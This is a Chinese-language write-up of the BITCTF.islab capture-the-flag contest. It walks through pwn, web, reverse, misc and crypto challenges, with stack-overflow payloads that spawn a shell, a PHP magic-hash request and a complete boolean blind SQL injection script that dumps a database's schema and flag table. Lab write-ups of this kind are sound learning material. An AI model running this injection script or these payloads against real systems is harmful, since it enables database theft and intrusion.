

BITCTF.islab Writeup

转载

[a6812952](#) 于 2019-01-02 21:30:00 发布 52 收藏

文章标签: [python php shell](#)

原文链接: <http://www.cnblogs.com/stevechekblain/p/10211423.html>

版权

0x0 前言

第一次参加 CTF，还是挺兴奋的。

0x1 Pwn

0x10 Casino1.0

下载目标程序，IDA反编译发现gets栈溢出漏洞，构造 payload 字符串 `print "A"*208` 成功覆盖指定变量，得到 flag1

0x11 Casino2.0

小游戏对于下注金额未做范围检验，输入 `-1000` 即可通过，得到 flag2

0x12 Casino3.0

发现程序给出了指向 `system("/bin/bash")` 的地址，exp.py 中构造 payload 字符串 `"A"*208 + p64(address+4)*10` 即可获取shell，`cat flag` 得到 flag3

0x13 Donate

不会做

0x2 Web

0x20 click me!

Console 构造与原函数相同函数，递归调用即可，得到 flag

0x21 easy sqli

nmap 即可脱库，直接 `select` 得到 flag

0x22 easy php

构造请求 `example.com/?a=240610708&b=QNKCDZO&c=php://input`，请求体中为 `waterquestion` 即可得到 flag

0x23 easy flask

Console 截留请求，解析 flask session 即可获得验证码明文，得到 flag，代码见下：

```

1 #!/usr/bin/env python3
2 import sys
3 import zlib
4 from base64 import b64decode
5 from flask.sessions import session_json_serializer
6 from itsdangerous import base64_decode
7
8 def decryption(payload):
9     payload, sig = payload.rsplit(b'.', 1)
10    payload, timestamp = payload.rsplit(b'.', 1)
11
12    decompress = False
13    if payload.startswith(b'.'):
14        payload = payload[1:]
15        decompress = True
16
17    try:
18        payload = base64_decode(payload)
19    except Exception as e:
20        raise Exception('Could not base64 decode the payload because of '
21                        'an exception')
22
23    if decompress:
24        try:
25            payload = zlib.decompress(payload)
26        except Exception as e:
27            raise Exception('Could not zlib decompress the payload before '
28                            'decoding the payload')
29
30    return session_json_serializer.loads(payload)
31
32 if __name__ == '__main__':
33    print(decryption(sys.argv[1].encode()))

```

0x24 (not) easy sqli

布尔盲注，正确返回TAT，错误返回QAQ，python 位运算即可获取 flag，需要注意的是这里使用了 varchar 保存 utf-8 字符串，所以直接获取无效，使用 hex 函数转换为16进制即可，代码见下：

```

1 import requests
2
3
4 def getdb():
5     result = ""
6     url_template = "http://islab.tk:11003/?id=1 and ascii(substr((select table_schema from
information_schema.schemata limit {0},1),{1},1))%26{2}"
7     #chars = '0123456789ABCDEFGHIJKLMNPOQRSTUVWXYZabcdefghijklmnopqrstuvwxy'
8     for k in range(0, 50):
9         print("record #" + str(k+1))
10        result = ""
11        for i in range(50):
12            #print(i+1)
13            char_ascii = 0
14            for j in range(8):
15                url = url_template.format(k, i+1, 1<<j)
16                #print(url)
17

```

```

17         response = requests.get(url)
18         #print(response.text)
19         if "TAT" in response.text:
20             #print(1<<j)
21             char_ascii = char_ascii + (1<<j)
22         char = chr(char_ascii)
23         #print('' + char + '': ' + str(char_ascii))
24         result = result + char
25         if char_ascii == 0:
26             break;
27     print(result)
28     if result == "\0":
29         break;
30
31
32 def gettable():
33     result = ""
34     url_template = "http://islab.tk:11003/?id=1 and ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit {0},1),{1},1))%26{2}"
35     #chars = '0123456789ABCDEFGHIJKLMNQRSTUvwXYZabcdefghijklmnopqrstuvwxyz'
36     for k in range(0, 50):
37         print("record #" + str(k+1))
38         result = ""
39         for i in range(50):
40             #print(i+1)
41             char_ascii = 0
42             for j in range(8):
43                 url = url_template.format(k, i+1, 1<<j)
44                 #print(url)
45                 response = requests.get(url)
46                 #print(response.text)
47                 if "TAT" in response.text:
48                     #print(1<<j)
49                     char_ascii = char_ascii + (1<<j)
50             char = chr(char_ascii)
51             #print('' + char + '': ' + str(char_ascii))
52             result = result + char
53             if char_ascii == 0:
54                 break;
55         print(result)
56         if result == "\0":
57             break;
58
59
60 def getcolumn():
61     result = ""
62     url_template = "http://islab.tk:11003/?id=1 and ascii(substr((select column_name from
information_schema.columns where table_name='flag' and table_schema='islab' limit {0},1),{1},1))%26{2}"
63
64     for k in range(0, 50):
65         print("record #" + str(k+1))
66         result = ""
67         for i in range(50):
68             #print(i+1)
69             char_ascii = 0
70             for j in range(8):
71                 url = url_template.format(k, i+1, 1<<j)
72                 #print(url)
73                 response = requests.get(url)
74                 #print(response.text)

```

```

75         if "TAT" in response.text:
76             #print(1<<j)
77             char_ascii = char_ascii + (1<<j)
78         char = chr(char_ascii)
79         #print('' + char + ': ' + str(char_ascii))
80         result = result + char
81         if char_ascii == 0:
82             break;
83     print(result)
84     if result == "\0":
85         break;
86
87
88 def getdata():
89     result = ""
90     url_template = "http://islab.tk:11003/?id=1 and ascii(substr(hex((select flag from flag limit
{0},1)),{1},1))%26{2}"
91
92     for k in range(50):
93         print("record #" + str(k+1))
94         result = ""
95         for i in range(400):
96             #print(i+1)
97             char_ascii = 0
98             for j in range(8):
99                 url = url_template.format(k, i+1, 1<<j)
100                #print(url)
101                response = requests.get(url)
102                #print(response.text)
103                if "TAT" in response.text:
104                    #print(1<<j)
105                    char_ascii = char_ascii + (1<<j)
106                char = chr(char_ascii)
107                #print('' + char + ': ' + str(char_ascii))
108                result = result + char
109                if char_ascii == 0:
110                    break;
111            print(result)
112            if result == "\0":
113                break;
114
115
116 getdata()

```

0x25 master of php

不会做

0x3 Reverse

0x30 Guess my number

IDA 载入得到 key, 直接输入即可得到 flag

0x31 just try

IDA 载入发现 MD5, dump 出来发现是带有星号的掩码, python 爆破即可得到 flag, 代码见下:

```
1 from hashlib import md5
2
3 s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
4 s1 = "5173187b79435c8c"
5 s2 = "2fab0cf63dc7"
6
7 def check(stmp):
8     res = md5(stmp.encode()).hexdigest()
9     return res[0:len(s1)] + res[len(s1)+4:] == s1 + s2
10
11 rtmp = md5("1234".encode()).hexdigest()
12 print(rtmp)
13 print(rtmp[0:len(s1)])
14 print(rtmp[len(s1)+4:])
15
16 for i1 in range(62):
17     print(s[i1])
18     for i2 in range(62):
19         for i3 in range(62):
20             for i4 in range(62):
21                 snow = s[i1] + s[i2] + s[i3] + s[i4]
22                 if check(snow):
23                     print("Found: " + snow)
24
25                     break
```

0x32 simple re

IDA 反编译, 然后直接写出反向代码即可得到 flag, 代码见下:

```
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 char s[1000];
6 char secret[100] = "fE}V1nc1ny3&r1egr&_.fp..h_ao{0_sal";
7 int key[100] = {1, 6, 0x21, 0, 0x11, 0x12, 0x10, 0x0A, 3, 2, 0x0B, 0x0D, 0x14, 0x16, 0x0E, 8, 0x0F,
0x0C, 9, 0x1E, 0x17, 0x13, 0x20, 0x1F, 0x1A, 0x15, 0x1C, 4, 5, 7, 0x18, 0x19, 0x1B, 0x1D};
8
9 char *__cdecl encode1(char *s)
10 {
11     int i; // [rsp+2Ch] [rbp-54h]
12     const char *sa; // [rsp+50h] [rbp-30h]
13     char *c;
14
15     sa = s;
16     c = (char *)malloc(35);
17     strcpy(c, sa);
18     /*
19     for ( i = 0; i < strlen(c); ++i )
20     {
21         if ( c[i] <= 64 || c[i] > 90 )
22         {
23             if ( c[i] > 96 && c[i] <= 122 )
24                 c[i] = (c[i] - 24) % 26 + 97;
```

```

24     c[i] = (c[i] - 52) % 26 + 65;
25 }
26 else
27 {
28     c[i] = (c[i] - 52) % 26 + 65;
29 }
30 }
31 */
32
33 for ( i = 0; i < strlen(c); ++i ) {
34     if ( c[i] < 65 || c[i] > 90 ) {         // c[i] is not upper case
35         if ( c[i] >= 97 && c[i] <= 122 )    // c[i] is lower case
36             c[i] = (c[i] - 84) % 26 + 97;
37     } else {                                // c[i] is upper case
38         c[i] = (c[i] - 52) % 26 + 65;
39     }
40 }
41
42 puts(c);
43 return c;
44 }
45
46 char conv (char ch) {
47     char c;
48     c = ch;
49     if ( c < 65 || c > 90 ) {               // c[i] is not upper case
50         if ( c >= 97 && c <= 122 )          // c[i] is lower case
51             c = (c - 84) % 26 + 97;
52     } else {                                // c[i] is upper case
53         c = (c - 52) % 26 + 65;
54     }
55     return c;
56 }
57
58 char inv_conv[256];
59
60 char * decode1(char *raw) {
61     char *ret;
62     int i;
63     ret = (char *)malloc(35);
64     //strcpy(ret, raw);
65
66     for (i=0; i<256; ++i)
67         inv_conv[conv(i)] = i;
68
69     for (i=0; i<strlen(raw); ++i)
70         ret[i] = inv_conv[raw[i]];
71
72     ret[strlen(raw)] = 0;
73     return ret;
74 }
75
76 char *__cdecl encode2(char *b)
77 {
78     char *v1; // rbx
79     int i; // [rsp+2Ch] [rbp-54h]
80     const char *ba; // [rsp+50h] [rbp-30h]
81     char *d;
82
83     ba = b;

```

```

84  d = (char *)malloc(35);
85  for ( i = 0; i < strlen(ba); ++i )
86      d[i] = ba[key[i]];
87  v1 = d;
88  v1[strlen(ba)] = 0;
89  return d;
90 }
91
92 char * decode2(char *raw) {
93     char *ret;
94     int i;
95     ret = (char *)malloc(35);
96     for ( i = 0; i < strlen(raw); ++i )
97         ret[key[i]] = raw[i];
98     ret[strlen(raw)] = 0;
99     return ret;
100 }
101
102 int __cdecl check(char *a)
103 {
104     char *v2; // rax
105     const char *x; // ST28_8
106     char *aa; // [rsp+40h] [rbp+10h]
107
108     aa = a;
109     if ( strlen(a) != 34 )
110         return 0;
111     v2 = encode1(aa);
112     x = encode2(v2);
113     puts(x);
114     return strcmp(x, secret) == 0;
115 }
116
117 int __cdecl main(int argc, const char **argv, const char **envp)
118 {
119     char *p1, *p2;
120     p1 = decode2(secret);
121     printf("%s\n", p1);
122     p2 = decode1(p1);
123     printf("%s\n", p2);
124
125     printf("Please input your flag: ");
126     gets(s);
127     if ( check(s) != 0 )
128         puts("Right!");
129     else
130         puts("Wrong!");
131     return 0;
132 }

```

0x4 Misc

0x40 签到

略

0x41 fun with zip

有800层，python 解压即可，最后一层有加密，密码是群中某位学长的QQ，即可得到 flag

0x42 miscxxx

忽略 zip 伪加密，解压得到 jpg 图片，binwalk 提取出 png，发现尺寸 CRC 校验错误，把高度改为1000即可得到 flag

0x5 Crypto

0x51 baby rsa

yafu 分解质因数，直接计算RSA 私钥即可得到 flag

0x52 fake rsa

RSA 在 $e=2$ 时变为 Rabin 加密，直接计算即可得到 flag

0x53 guess

读取 RSA 掩码，爆破获得 key，使用 1000 作为 magic_number，按数位分解即可获得原数组，输入得到 flag

转载于:<https://www.cnblogs.com/stevechekblain/p/10211423.html>